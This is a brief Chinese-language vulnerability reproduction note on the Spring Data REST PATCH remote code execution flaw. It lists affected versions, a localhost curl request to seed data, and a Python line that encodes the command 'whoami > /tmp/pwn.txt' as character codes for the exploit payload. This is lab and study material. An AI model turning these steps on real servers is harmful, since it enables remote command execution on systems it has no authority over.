#1背景
Spring Data REST是Spring Data项目的一部分，可以轻松地在Spring Data存储库之上构建超媒体驱动的REST Web服务。
恶意的PATCH请求使用精心构造的JSON数据提交到spring-data-rest服务可以执行任意JAVA代码
#2 影响范围
Spring Data REST versions prior to 2.5.12, 2.6.7, 3.0 RC3
可以查看spring-data-rest-webmvc jar包的版本
#3 漏洞本地复现
mvn 安装
启动web服务
添加数据
curl -X POST -i -H "Content-Type:application/json" -d '{"firstName":"Greg", "lastName":"Turnquist"}' http://localhost:8080/persons
远程代码执行
请求方法为PATCH，Content-Type为 application/json-patch+json
",".join(map(str, (map(ord,"whoami > /tmp/pwn.txt"))))
